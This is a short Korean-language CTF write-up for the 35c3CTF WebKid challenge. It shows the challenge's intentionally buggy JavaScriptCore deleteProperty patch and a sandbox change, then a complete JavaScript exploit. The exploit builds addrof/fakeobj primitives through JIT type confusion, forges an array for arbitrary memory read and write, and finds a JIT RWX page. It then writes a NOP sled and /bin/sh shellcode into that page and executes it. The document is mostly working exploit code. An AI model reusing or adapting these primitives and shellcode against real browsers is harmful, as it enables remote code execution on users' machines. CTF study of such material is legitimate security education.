35c3CTF WebKid exploit
1. Intro
JSC JIT exploit은 처음 해봤는데 확실히 watchpoint를 모르면 절대 못 풀 것 같다. 라업을 참고해 풀어서 풀이는 자세히 안 적겠다.
2. Patch
diff --git a/Source/JavaScriptCore/runtime/JSObject.cpp b/Source/JavaScriptCore/runtime/JSObject.cpp
index 20fcd4032ce..a75e4ef47ba 100644
--- a/Source/JavaScriptCore/runtime/JSObject.cpp
+++ b/Source/JavaScriptCore/runtime/JSObject.cpp
@@ -1920,6 +1920,31 @@ bool JSObject::hasPropertyGeneric(ExecState* exec, unsigned propertyName, Proper
return const_cast<JSObject*>(this)->getPropertySlot(exec, propertyName, slot);
}
+static bool tryDeletePropertyQuickly(VM& vm, JSObject* thisObject, Structure* structure, PropertyName propertyName, unsigned attributes, PropertyOffset offset)
+{
+ ASSERT(isInlineOffset(offset) || isOutOfLineOffset(offset));
+
+ Structure* previous = structure->previousID();
+ if (!previous)
+ return false;
+
+ unsigned unused;
+ bool isLastAddedProperty = !isValidOffset(previous->get(vm, propertyName, unused));
+ if (!isLastAddedProperty)
+ return false;
+
+ RELEASE_ASSERT(Structure::addPropertyTransition(vm, previous, propertyName, attributes, offset) == structure);
+
+ if (offset == firstOutOfLineOffset && !structure->hasIndexingHeader(thisObject)) {
+ ASSERT(!previous->hasIndexingHeader(thisObject) && structure->outOfLineCapacity() > 0 && previous->outOfLineCapacity() == 0);
+ thisObject->setButterfly(vm, nullptr);
+ }
+
+ thisObject->setStructure(vm, previous);
+
+ return true;
+}
+
// ECMA 8.6.2.5
bool JSObject::deleteProperty(JSCell* cell, ExecState* exec, PropertyName propertyName)
{
@@ -1946,18 +1971,21 @@ bool JSObject::deleteProperty(JSCell* cell, ExecState* exec, PropertyName proper
Structure* structure = thisObject->structure(vm);
- bool propertyIsPresent = isValidOffset(structure->get(vm, propertyName, attributes));
+ PropertyOffset offset = structure->get(vm, propertyName, attributes);
+ bool propertyIsPresent = isValidOffset(offset);
if (propertyIsPresent) {
if (attributes & PropertyAttribute::DontDelete && vm.deletePropertyMode() != VM::DeletePropertyMode::IgnoreConfigurable)
return false;
- PropertyOffset offset;
- if (structure->isUncacheableDictionary())
+ if (structure->isUncacheableDictionary()) {
offset = structure->removePropertyWithoutTransition(vm, propertyName, [] (const ConcurrentJSLocker&, PropertyOffset) { });
- else
- thisObject->setStructure(vm, Structure::removePropertyTransition(vm, structure, propertyName, offset));
+ } else {
+ if (!tryDeletePropertyQuickly(vm, thisObject, structure, propertyName, attributes, offset)) {
+ thisObject->setStructure(vm, Structure::removePropertyTransition(vm, structure, propertyName, offset));
+ }
+ }
- if (offset != invalidOffset)
+ if (offset != invalidOffset && (!isOutOfLineOffset(offset) || thisObject->butterfly()))
thisObject->locationForOffset(offset)->clear();
}
diff --git a/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in b/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in
index 536481ecd6a..62189fea227 100644
--- a/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in
+++ b/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in
@@ -25,6 +25,12 @@
(deny default (with partial-symbolication))
(allow system-audit file-read-metadata)
+(allow file-read* (literal "/flag1"))
+
+(allow mach-lookup (global-name "net.saelo.shelld"))
+(allow mach-lookup (global-name "net.saelo.capsd"))
+(allow mach-lookup (global-name "net.saelo.capsd.xpc"))
+
#if PLATFORM(MAC) && __MAC_OS_X_VERSION_MIN_REQUIRED < 101300
(import "system.sb")
#else
3. Exploit
let convert = new ArrayBuffer(0x8);
let f64 = new Float64Array(convert);
let u32 = new Uint32Array(convert);
let BASE = 0x100000000;
function i2f(x) {
u32[0] = x % BASE;
u32[1] = (x - (x % BASE)) / BASE;
return f64[0];
}
function f2i(x) {
f64[0] = x;
return u32[0] + BASE * u32[1];
}
function i2jsv(x) {
u32[0] = (x % BASE);
u32[1] = ((x - (x % BASE)) / BASE) - 0x10000;
return f64[0];
}
function hex(x) {
return `0x${x.toString(16)}`
}
function debug(x) {
print(describe(x));
}
function gc() {
for (let i = 0; i < 0x10; i++) {
new ArrayBuffer(0x1000000);
}
}
function makeJITFunc() {
function target(num) {
for (var i = 2; i < num; i++) {
if (num % i === 0) {
return false;
}
}
return true;
}
// Force JIT compilation.
for (var i = 0; i < 1000; i++) {
target(i);
}
for (var i = 0; i < 1000; i++) {
target(i);
}
for (var i = 0; i < 1000; i++) {
target(i);
}
return target;
}
function getE() {
return arr[0];
}
function setE(addr) {
arr[0] = addr;
return;
}
let arr = [1.1, 2.2];
arr.test = 1111;
for (var i = 0; i < 100000; i++) {
getE();
setE(1.1);
}
delete arr.test;
arr[0] = {};
let addrof = function(obj) {
arr[0] = obj;
return getE();
}
let fakeobj = function(addr) {
setE(addr);
return arr[0];
}
// spray structures
let structs = [];
for (let i = 0; i < 0x1000; i++) {
var tmp = [1.1];
tmp.pointer = i2f(0x1234);
tmp['spray' + i.toString()] = 3.3;
structs.push(tmp);
}
// for array size
let victim = structs[0x100];
let container = {
header : i2jsv(0x0108210700001000),
butterfly : victim
}
let addr = f2i(addrof(container));
let fakeArray = fakeobj(i2f(addr + 0x10));
read8 = function (addr) {
fakeArray[1] = addr + i2f(0x10);
return addrof(victim.pointer);
}
write4 = function (addr, value) {
fakeArray[1] = addr + i2f(0x10);
victim.pointer = value;
}
let func = makeJITFunc();
let funcAddr = addrof(func);
let executableAddr = read8(funcAddr + i2f(0x18));
let jitCodeObjAddr = read8(executableAddr + i2f(0x18));
let rwxMem = read8(jitCodeObjAddr + i2f(0x10));
print("rwx @ " + hex(f2i(rwxMem)));
shellcode = [0xb848686a, 0x6e69622f, 0x732f2f2f, 0xe7894850, 0x1697268, 0x24348101, 0x1010101, 0x6a56f631, 0x1485e08, 0x894856e6, 0x6ad231e6, 0x50f583b]
for(let i = 0; i < 0x30; i++) {
write4(rwxMem + i2f(i * 4), i2f(0x90909090));
}
for(let i = 0; i < shellcode.length; i++) {
write4(rwxMem + i2f(0xc0) + i2f(i * 4), i2f(shellcode[i]));
}
func();